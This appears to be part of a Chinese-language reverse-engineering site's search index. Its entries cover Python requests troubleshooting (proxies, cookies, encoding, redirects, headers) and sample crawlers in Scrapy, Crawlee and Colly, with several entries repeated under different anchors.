HTTP_PROXY=http://proxy.com:8080 set HTTPS_PROXY=http://proxy.com:8080 # 自动使用环境变量中的代理 response = requests.get(url) # 会自动读取 HTTP_PROXY 5. 验证代理配置 import requests def test_proxy(proxy_url): \"\"\"测试代理是否可用\"\"\" proxies = { 'http': proxy_url, 'https': proxy_url, } try: response = requests.get( 'http://httpbin.org/ip', proxies=proxies, timeout=10 ) print(f\"✅ Proxy working: {response.json()}\") return True except Exception as e: print(f\"❌ Proxy failed: {e}\") return False test_proxy('http://127.0.0.1:7890') ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:4:2","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#4-环境变量配置"},{"categories":null,"collections":null,"content":"解决方案 1. HTTP 代理 # 基础代理 proxies = { 'http': 'http://proxy.com:8080', 'https': 'http://proxy.com:8080', } response = requests.get(url, proxies=proxies) 2. SOCKS 代理 # 需要安装: pip install requests[socks] proxies = { 'http': 'socks5://127.0.0.1:1080', 'https': 'socks5://127.0.0.1:1080', } response = requests.get(url, proxies=proxies) 3. 代理认证 # 带用户名密码的代理 proxies = { 'http': 'http://username:password@proxy.com:8080', 'https': 'http://username:password@proxy.com:8080', } response = requests.get(url, proxies=proxies) 4. 环境变量配置 # Linux/Mac export HTTP_PROXY=\"http://proxy.com:8080\" export HTTPS_PROXY=\"http://proxy.com:8080\" # Windows set HTTP_PROXY=http://proxy.com:8080 set HTTPS_PROXY=http://proxy.com:8080 # 自动使用环境变量中的代理 response = requests.get(url) # 会自动读取 HTTP_PROXY 5. 验证代理配置 import requests def test_proxy(proxy_url): \"\"\"测试代理是否可用\"\"\" proxies = { 'http': proxy_url, 'https': proxy_url, } try: response = requests.get( 'http://httpbin.org/ip', proxies=proxies, timeout=10 ) print(f\"✅ Proxy working: {response.json()}\") return True except Exception as e: print(f\"❌ Proxy failed: {e}\") return False test_proxy('http://127.0.0.1:7890') ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:4:2","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#5-验证代理配置"},{"categories":null,"collections":null,"content":"Cookie 失效 ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:5:0","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#cookie-失效"},{"categories":null,"collections":null,"content":"问题表现 登录状态丢失 请求被重定向到登录页 返回 401 Unauthorized ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:5:1","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#问题表现-4"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 Session 保持 Cookie import requests # 创建 Session session = requests.Session() # 登录 (Cookie 会自动保存) session.post('https://example.com/login', data={ 'username': 'user', 'password': 'pass' }) # 后续请求会自动带上 Cookie response = session.get('https://example.com/profile') 2. 手动管理 Cookie # 获取 Cookie response = requests.post(login_url, data=credentials) cookies = response.cookies # 使用 Cookie response = requests.get(url, cookies=cookies) 3. 从浏览器复制 Cookie # 浏览器中复制 Cookie 字符串 cookie_str = \"session_id=abc123; user_id=456; token=xyz\" # 转换为字典 cookies = {} for item in cookie_str.split('; '): key, value = item.split('=', 1) cookies[key] = value response = requests.get(url, cookies=cookies) 4. 持久化 Cookie import pickle # 保存 Cookie with open('cookies.pkl', 'wb') as f: pickle.dump(session.cookies, f) # 加载 Cookie with open('cookies.pkl', 'rb') as f: cookies = pickle.load(f) session.cookies.update(cookies) 5. Cookie 调试 import requests session = requests.Session() # 查看当前 Cookie print(\"Current cookies:\") for cookie in session.cookies: print(f\" {cookie.name} = {cookie.value}\") print(f\" Domain: {cookie.domain}\") print(f\" Path: {cookie.path}\") print(f\" Expires: {cookie.expires}\") ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:5:2","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#解决方案-4"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 Session 保持 Cookie import requests # 创建 Session session = requests.Session() # 登录 (Cookie 会自动保存) session.post('https://example.com/login', data={ 'username': 'user', 'password': 'pass' }) # 后续请求会自动带上 Cookie response = session.get('https://example.com/profile') 2. 手动管理 Cookie # 获取 Cookie response = requests.post(login_url, data=credentials) cookies = response.cookies # 使用 Cookie response = requests.get(url, cookies=cookies) 3. 从浏览器复制 Cookie # 浏览器中复制 Cookie 字符串 cookie_str = \"session_id=abc123; user_id=456; token=xyz\" # 转换为字典 cookies = {} for item in cookie_str.split('; '): key, value = item.split('=', 1) cookies[key] = value response = requests.get(url, cookies=cookies) 4. 持久化 Cookie import pickle # 保存 Cookie with open('cookies.pkl', 'wb') as f: pickle.dump(session.cookies, f) # 加载 Cookie with open('cookies.pkl', 'rb') as f: cookies = pickle.load(f) session.cookies.update(cookies) 5. Cookie 调试 import requests session = requests.Session() # 查看当前 Cookie print(\"Current cookies:\") for cookie in session.cookies: print(f\" {cookie.name} = {cookie.value}\") print(f\" Domain: {cookie.domain}\") print(f\" Path: {cookie.path}\") print(f\" Expires: {cookie.expires}\") ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:5:2","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#1-使用-session-保持-cookie"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 Session 保持 Cookie import requests # 创建 Session session = requests.Session() # 登录 (Cookie 会自动保存) session.post('https://example.com/login', data={ 'username': 'user', 'password': 'pass' }) # 后续请求会自动带上 Cookie response = session.get('https://example.com/profile') 2. 手动管理 Cookie # 获取 Cookie response = requests.post(login_url, data=credentials) cookies = response.cookies # 使用 Cookie response = requests.get(url, cookies=cookies) 3. 从浏览器复制 Cookie # 浏览器中复制 Cookie 字符串 cookie_str = \"session_id=abc123; user_id=456; token=xyz\" # 转换为字典 cookies = {} for item in cookie_str.split('; '): key, value = item.split('=', 1) cookies[key] = value response = requests.get(url, cookies=cookies) 4. 持久化 Cookie import pickle # 保存 Cookie with open('cookies.pkl', 'wb') as f: pickle.dump(session.cookies, f) # 加载 Cookie with open('cookies.pkl', 'rb') as f: cookies = pickle.load(f) session.cookies.update(cookies) 5. Cookie 调试 import requests session = requests.Session() # 查看当前 Cookie print(\"Current cookies:\") for cookie in session.cookies: print(f\" {cookie.name} = {cookie.value}\") print(f\" Domain: {cookie.domain}\") print(f\" Path: {cookie.path}\") print(f\" Expires: {cookie.expires}\") ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:5:2","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#2-手动管理-cookie"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 Session 保持 Cookie import requests # 创建 Session session = requests.Session() # 登录 (Cookie 会自动保存) session.post('https://example.com/login', data={ 'username': 'user', 'password': 'pass' }) # 后续请求会自动带上 Cookie response = session.get('https://example.com/profile') 2. 手动管理 Cookie # 获取 Cookie response = requests.post(login_url, data=credentials) cookies = response.cookies # 使用 Cookie response = requests.get(url, cookies=cookies) 3. 从浏览器复制 Cookie # 浏览器中复制 Cookie 字符串 cookie_str = \"session_id=abc123; user_id=456; token=xyz\" # 转换为字典 cookies = {} for item in cookie_str.split('; '): key, value = item.split('=', 1) cookies[key] = value response = requests.get(url, cookies=cookies) 4. 持久化 Cookie import pickle # 保存 Cookie with open('cookies.pkl', 'wb') as f: pickle.dump(session.cookies, f) # 加载 Cookie with open('cookies.pkl', 'rb') as f: cookies = pickle.load(f) session.cookies.update(cookies) 5. Cookie 调试 import requests session = requests.Session() # 查看当前 Cookie print(\"Current cookies:\") for cookie in session.cookies: print(f\" {cookie.name} = {cookie.value}\") print(f\" Domain: {cookie.domain}\") print(f\" Path: {cookie.path}\") print(f\" Expires: {cookie.expires}\") ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:5:2","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#3-从浏览器复制-cookie"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 Session 保持 Cookie import requests # 创建 Session session = requests.Session() # 登录 (Cookie 会自动保存) session.post('https://example.com/login', data={ 'username': 'user', 'password': 'pass' }) # 后续请求会自动带上 Cookie response = session.get('https://example.com/profile') 2. 手动管理 Cookie # 获取 Cookie response = requests.post(login_url, data=credentials) cookies = response.cookies # 使用 Cookie response = requests.get(url, cookies=cookies) 3. 从浏览器复制 Cookie # 浏览器中复制 Cookie 字符串 cookie_str = \"session_id=abc123; user_id=456; token=xyz\" # 转换为字典 cookies = {} for item in cookie_str.split('; '): key, value = item.split('=', 1) cookies[key] = value response = requests.get(url, cookies=cookies) 4. 持久化 Cookie import pickle # 保存 Cookie with open('cookies.pkl', 'wb') as f: pickle.dump(session.cookies, f) # 加载 Cookie with open('cookies.pkl', 'rb') as f: cookies = pickle.load(f) session.cookies.update(cookies) 5. Cookie 调试 import requests session = requests.Session() # 查看当前 Cookie print(\"Current cookies:\") for cookie in session.cookies: print(f\" {cookie.name} = {cookie.value}\") print(f\" Domain: {cookie.domain}\") print(f\" Path: {cookie.path}\") print(f\" Expires: {cookie.expires}\") ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:5:2","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#4-持久化-cookie"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 Session 保持 Cookie import requests # 创建 Session session = requests.Session() # 登录 (Cookie 会自动保存) session.post('https://example.com/login', data={ 'username': 'user', 'password': 'pass' }) # 后续请求会自动带上 Cookie response = session.get('https://example.com/profile') 2. 手动管理 Cookie # 获取 Cookie response = requests.post(login_url, data=credentials) cookies = response.cookies # 使用 Cookie response = requests.get(url, cookies=cookies) 3. 从浏览器复制 Cookie # 浏览器中复制 Cookie 字符串 cookie_str = \"session_id=abc123; user_id=456; token=xyz\" # 转换为字典 cookies = {} for item in cookie_str.split('; '): key, value = item.split('=', 1) cookies[key] = value response = requests.get(url, cookies=cookies) 4. 持久化 Cookie import pickle # 保存 Cookie with open('cookies.pkl', 'wb') as f: pickle.dump(session.cookies, f) # 加载 Cookie with open('cookies.pkl', 'rb') as f: cookies = pickle.load(f) session.cookies.update(cookies) 5. Cookie 调试 import requests session = requests.Session() # 查看当前 Cookie print(\"Current cookies:\") for cookie in session.cookies: print(f\" {cookie.name} = {cookie.value}\") print(f\" Domain: {cookie.domain}\") print(f\" Path: {cookie.path}\") print(f\" Expires: {cookie.expires}\") ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:5:2","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#5-cookie-调试"},{"categories":null,"collections":null,"content":"响应编码问题 ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:6:0","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#响应编码问题"},{"categories":null,"collections":null,"content":"问题表现 # 乱码输出 print(response.text) # 输出: ����� ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:6:1","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#问题表现-5"},{"categories":null,"collections":null,"content":"解决方案 1. 自动检测编码 import requests from chardet import detect response = requests.get(url) # 检测编码 encoding = detect(response.content)['encoding'] response.encoding = encoding print(response.text) # 正确显示中文 2. 手动指定编码 response = requests.get(url) # 常见中文编码 response.encoding = 'utf-8' # 或 response.encoding = 'gbk' # 或 response.encoding = 'gb2312' print(response.text) 3. 直接使用 bytes response = requests.get(url) # 使用 content (bytes) 而不是 text (str) html = response.content.decode('utf-8', errors='ignore') ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:6:2","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#解决方案-5"},{"categories":null,"collections":null,"content":"解决方案 1. 自动检测编码 import requests from chardet import detect response = requests.get(url) # 检测编码 encoding = detect(response.content)['encoding'] response.encoding = encoding print(response.text) # 正确显示中文 2. 手动指定编码 response = requests.get(url) # 常见中文编码 response.encoding = 'utf-8' # 或 response.encoding = 'gbk' # 或 response.encoding = 'gb2312' print(response.text) 3. 直接使用 bytes response = requests.get(url) # 使用 content (bytes) 而不是 text (str) html = response.content.decode('utf-8', errors='ignore') ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:6:2","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#1-自动检测编码"},{"categories":null,"collections":null,"content":"解决方案 1. 自动检测编码 import requests from chardet import detect response = requests.get(url) # 检测编码 encoding = detect(response.content)['encoding'] response.encoding = encoding print(response.text) # 正确显示中文 2. 手动指定编码 response = requests.get(url) # 常见中文编码 response.encoding = 'utf-8' # 或 response.encoding = 'gbk' # 或 response.encoding = 'gb2312' print(response.text) 3. 直接使用 bytes response = requests.get(url) # 使用 content (bytes) 而不是 text (str) html = response.content.decode('utf-8', errors='ignore') ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:6:2","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#2-手动指定编码"},{"categories":null,"collections":null,"content":"解决方案 1. 自动检测编码 import requests from chardet import detect response = requests.get(url) # 检测编码 encoding = detect(response.content)['encoding'] response.encoding = encoding print(response.text) # 正确显示中文 2. 手动指定编码 response = requests.get(url) # 常见中文编码 response.encoding = 'utf-8' # 或 response.encoding = 'gbk' # 或 response.encoding = 'gb2312' print(response.text) 3. 直接使用 bytes response = requests.get(url) # 使用 content (bytes) 而不是 text (str) html = response.content.decode('utf-8', errors='ignore') ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:6:2","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#3-直接使用-bytes"},{"categories":null,"collections":null,"content":"重定向问题 ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:7:0","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#重定向问题"},{"categories":null,"collections":null,"content":"问题表现 无限重定向 重定向后丢失参数 ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:7:1","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#问题表现-6"},{"categories":null,"collections":null,"content":"解决方案 1. 控制重定向 # 禁止自动重定向 response = requests.get(url, allow_redirects=False) print(f\"Status: {response.status_code}\") print(f\"Location: {response.headers.get('Location')}\") # 手动处理重定向 if response.status_code in [301, 302, 303, 307, 308]: redirect_url = response.headers['Location'] response = requests.get(redirect_url) 2. 查看重定向历史 response = requests.get(url) # 查看重定向链 for r in response.history: print(f\"{r.status_code} -\u003e {r.url}\") print(f\"Final: {response.status_code} -\u003e {response.url}\") ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:7:2","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#解决方案-6"},{"categories":null,"collections":null,"content":"解决方案 1. 控制重定向 # 禁止自动重定向 response = requests.get(url, allow_redirects=False) print(f\"Status: {response.status_code}\") print(f\"Location: {response.headers.get('Location')}\") # 手动处理重定向 if response.status_code in [301, 302, 303, 307, 308]: redirect_url = response.headers['Location'] response = requests.get(redirect_url) 2. 查看重定向历史 response = requests.get(url) # 查看重定向链 for r in response.history: print(f\"{r.status_code} -\u003e {r.url}\") print(f\"Final: {response.status_code} -\u003e {response.url}\") ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:7:2","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#1-控制重定向"},{"categories":null,"collections":null,"content":"解决方案 1. 控制重定向 # 禁止自动重定向 response = requests.get(url, allow_redirects=False) print(f\"Status: {response.status_code}\") print(f\"Location: {response.headers.get('Location')}\") # 手动处理重定向 if response.status_code in [301, 302, 303, 307, 308]: redirect_url = response.headers['Location'] response = requests.get(redirect_url) 2. 查看重定向历史 response = requests.get(url) # 查看重定向链 for r in response.history: print(f\"{r.status_code} -\u003e {r.url}\") print(f\"Final: {response.status_code} -\u003e {response.url}\") ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:7:2","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#2-查看重定向历史"},{"categories":null,"collections":null,"content":"Headers 配置问题 ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:8:0","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#headers-配置问题"},{"categories":null,"collections":null,"content":"问题表现 请求被拒绝 返回异常数据 ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:8:1","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#问题表现-7"},{"categories":null,"collections":null,"content":"解决方案 1. 完整的 Headers headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', 'Accept-Encoding': 'gzip, deflate, br', 'Connection': 'keep-alive', 'Referer': 'https://example.com/', 'Origin': 'https://example.com', } response = requests.get(url, headers=headers) 2. 从浏览器复制 Headers // 浏览器控制台执行 copy( JSON.stringify( Object.fromEntries( [ ...document.querySelector(\".request-headers\").querySelectorAll(\"tr\"), ].map((r) =\u003e [r.cells[0].textContent, r.cells[1].textContent]) ), null, 2 ) ); 3. 调试 Headers # 查看请求头 response = requests.get('http://httpbin.org/headers', headers=headers) print(response.json()) # 查看响应头 print(response.headers) ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:8:2","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#解决方案-7"},{"categories":null,"collections":null,"content":"解决方案 1. 完整的 Headers headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', 'Accept-Encoding': 'gzip, deflate, br', 'Connection': 'keep-alive', 'Referer': 'https://example.com/', 'Origin': 'https://example.com', } response = requests.get(url, headers=headers) 2. 从浏览器复制 Headers // 浏览器控制台执行 copy( JSON.stringify( Object.fromEntries( [ ...document.querySelector(\".request-headers\").querySelectorAll(\"tr\"), ].map((r) =\u003e [r.cells[0].textContent, r.cells[1].textContent]) ), null, 2 ) ); 3. 调试 Headers # 查看请求头 response = requests.get('http://httpbin.org/headers', headers=headers) print(response.json()) # 查看响应头 print(response.headers) ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:8:2","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#1-完整的-headers"},{"categories":null,"collections":null,"content":"解决方案 1. 完整的 Headers headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', 'Accept-Encoding': 'gzip, deflate, br', 'Connection': 'keep-alive', 'Referer': 'https://example.com/', 'Origin': 'https://example.com', } response = requests.get(url, headers=headers) 2. 从浏览器复制 Headers // 浏览器控制台执行 copy( JSON.stringify( Object.fromEntries( [ ...document.querySelector(\".request-headers\").querySelectorAll(\"tr\"), ].map((r) =\u003e [r.cells[0].textContent, r.cells[1].textContent]) ), null, 2 ) ); 3. 调试 Headers # 查看请求头 response = requests.get('http://httpbin.org/headers', headers=headers) print(response.json()) # 查看响应头 print(response.headers) ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:8:2","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#2-从浏览器复制-headers"},{"categories":null,"collections":null,"content":"解决方案 1. 完整的 Headers headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', 'Accept-Encoding': 'gzip, deflate, br', 'Connection': 'keep-alive', 'Referer': 'https://example.com/', 'Origin': 'https://example.com', } response = requests.get(url, headers=headers) 2. 从浏览器复制 Headers // 浏览器控制台执行 copy( JSON.stringify( Object.fromEntries( [ ...document.querySelector(\".request-headers\").querySelectorAll(\"tr\"), ].map((r) =\u003e [r.cells[0].textContent, r.cells[1].textContent]) ), null, 2 ) ); 3. 调试 Headers # 查看请求头 response = requests.get('http://httpbin.org/headers', headers=headers) print(response.json()) # 查看响应头 print(response.headers) ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:8:2","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#3-调试-headers"},{"categories":null,"collections":null,"content":"相关章节 HTTP/HTTPS 协议 HTTP Headers 速查 调试技巧 ","date":"2025-05-24","objectID":"/reverse_engineering/web/10-troubleshooting/network_issues/:9:0","tags":["Web","问题排查","签名验证","SSL Pinning","代理池","调试"],"title":"网络和请求问题","uri":"/reverse_engineering/web/10-troubleshooting/network_issues/#相关章节"},{"categories":null,"collections":null,"content":"框架、工具与中间件 在复杂的逆向工程和数据采集中，单纯依靠基础工具往往效率低下。为了处理大规模的任务、管理复杂的依赖和保证流程的稳定性，我们需要引入\"工程化\"的思维，利用成熟的框架和中间件来构建健壮、可扩展的分析系统。 ┌─────────────────────────────────────────────────────────────────────────┐ │ 逆向工程数据管道全景图 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │ │ 数据采集 │───►│ 任务调度 │───►│ 缓存层 │───►│ 持久存储 │ │ │ │ Scrapy │ │ Celery │ │ Redis │ │ PG/Mongo │ │ │ │ Crawlee │ │ Airflow │ │ Memcached│ │ ClickHouse│ │ │ └──────────┘ └──────────┘ └──────────┘ └──────────┘ │ │ │ │ │ │ │ │ ▼ ▼ ▼ ▼ │ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │ │ Web 框架 │ │ 容器化 │ │ 监控告警 │ │ 日志系统 │ │ │ │ FastAPI │ │ Docker │ │Prometheus│ │ ELK Stack│ │ │ │ Flask │ │ Compose │ │ Grafana │ │ Loki │ │ │ └──────────┘ └──────────┘ └──────────┘ └──────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:0:0","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#框架工具与中间件"},{"categories":null,"collections":null,"content":"1. 数据采集框架 在逆向工程中，数据采集是整条管道的起点。选择合适的爬虫框架直接决定了整个系统的上限。 ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:1:0","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#1-数据采集框架"},{"categories":null,"collections":null,"content":"a) Scrapy (Python) Scrapy 是 Python 生态中最成熟的爬虫框架，拥有完整的中间件、管道和调度体系。 # scrapy_re_spider.py - 一个采集 APK 信息的 Scrapy 爬虫 import scrapy class ApkInfoSpider(scrapy.Spider): name = 'apk_info' start_urls = ['https://example.com/apps/list'] custom_settings = { 'CONCURRENT_REQUESTS': 16, # 并发请求数 'DOWNLOAD_DELAY': 0.5, # 请求间隔 'RETRY_TIMES': 3, # 重试次数 'DOWNLOADER_MIDDLEWARES': { 'scrapy.downloadermiddlewares.retry.RetryMiddleware': 90, 'myproject.middlewares.ProxyMiddleware': 100, # 自定义代理中间件 }, 'ITEM_PIPELINES': { 'myproject.pipelines.MongoDBPipeline': 300, # 数据入库 'myproject.pipelines.DeduplicatePipeline': 200,# 去重 }, } def parse(self, response): for app in response.css('div.app-card'): yield { 'package_name': app.css('span.pkg::text').get(), 'version': app.css('span.ver::text').get(), 'permissions': app.css('ul.perms li::text').getall(), 'download_url': app.css('a.download::attr(href)').get(), } # 自动翻页 next_page = response.css('a.next-page::attr(href)').get() if next_page: yield response.follow(next_page, self.parse) Scrapy 在 RE 场景中的优势： 内置的请求调度、去重、重试机制 scrapy-redis 扩展支持分布式爬取 Pipeline 管道机制方便对接各种存储后端 Middleware 体系便于集成代理池、Cookie 池 ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:1:1","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#a-scrapy-python"},{"categories":null,"collections":null,"content":"b) Crawlee (Node.js) Crawlee 是 Apify 团队推出的新一代爬虫框架，对 JavaScript 渲染页面有天然优势。 // crawlee_re_crawler.js - 使用 Playwright 采集动态加载的 API 数据 import { PlaywrightCrawler, Dataset } from 'crawlee'; const crawler = new PlaywrightCrawler({ maxConcurrency: 10, requestHandlerTimeoutSecs: 60, async requestHandler({ page, request, log }) { // 拦截网络请求，捕获 API 调用 const apiResponses = []; page.on('response', async (response) =\u003e { const url = response.url(); if (url.includes('/api/v2/')) { apiResponses.push({ url, status: response.status(), headers: response.headers(), body: await response.text().catch(() =\u003e null), }); } }); await page.goto(request.url, { waitUntil: 'networkidle' }); log.info(`捕获到 ${apiResponses.length} 个 API 请求`); await Dataset.pushData({ source_url: request.url, captured_apis: apiResponses, timestamp: new Date().toISOString(), }); }, }); await crawler.run(['https://target-app.example.com/']); ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:1:2","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#b-crawlee-nodejs"},{"categories":null,"collections":null,"content":"c) Colly (Go) Colly 是 Go 语言的高性能爬虫框架，适合高并发、低资源消耗的场景。 // colly_re_collector.go - 高并发采集目标站点 package main import ( \"encoding/json\" \"fmt\" \"github.com/gocolly/colly/v2\" \"github.com/gocolly/colly/v2/queue\" ) type AppInfo struct { PackageName string `json:\"package_name\"` Version string `json:\"version\"` SHA256 string `json:\"sha256\"` } func main() { c := colly.NewCollector( colly.Async(true), colly.MaxDepth(3), ) c.Limit(\u0026colly.LimitRule{ DomainGlob: \"*\", Parallelism: 50, // Go 的协程模型使高并发变得轻松 Delay: 100 * time.Millisecond, }) q, _ := queue.New(8, \u0026queue.InMemoryQueueStorage{MaxSize: 100000}) c.OnHTML(\"div.app-entry\", func(e *colly.HTMLElement) { info := AppInfo{ PackageName: e.ChildText(\"span.pkg\"), Version: e.ChildText(\"span.ver\"), SHA256: e.Attr(\"data-sha256\"), } data, _ := json.Marshal(info) fmt.Println(string(data)) }) q.AddURL(\"https://example.com/apps\") q.Run(c) } ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:1:3","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#c-colly-go"},{"categories":null,"collections":null,"content":"d) 框架对比 维度 Scrapy (Python) Crawlee (Node.js) Colly (Go) 语言 Python JavaScript/TypeScript Go 并发模型 Twisted 异步 async/await Goroutine JS 渲染 需集成 Splash/Playwright 原生 Playwright 支持 